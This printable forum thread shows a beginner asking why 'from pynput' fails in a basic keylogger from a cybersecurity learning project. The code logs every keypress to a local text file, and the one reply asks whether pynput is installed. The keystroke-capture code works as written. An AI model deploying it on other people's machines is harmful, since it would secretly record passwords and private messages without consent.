![]() |
Problem with "from pynput" - Printable Version +- Python Forum (https://python-forum.io) +-- Forum: Python Coding (https://python-forum.io/forum-7.html) +--- Forum: General Coding Help (https://python-forum.io/forum-8.html) +--- Thread: Problem with "from pynput" (/thread-41830.html) |
Problem with "from pynput" - LFreitas - Mar-24-2024 Hi everyone. I found a website with some basic projects from Cybersecurity. The first one is a keylogger. I'm using the following code: from pynput import keyboard def keyPressed(key): print(str(key)) with open("keyfile.txt", 'a') as logKey: try: char = key.char logKey.write(char) except: print("Error getting char") if __name__ == "__main__": listener = keyboard.Listener(on_press=keyPressed) listener.start() input()My OS is Kali Linux. when I run this code it shows the following problem: Any idea how can I fix this?Thank you RE: Problem with "from pynput" - deanhystad - Mar-24-2024 Did you install the pynput package? It is not part of the Python distribution. |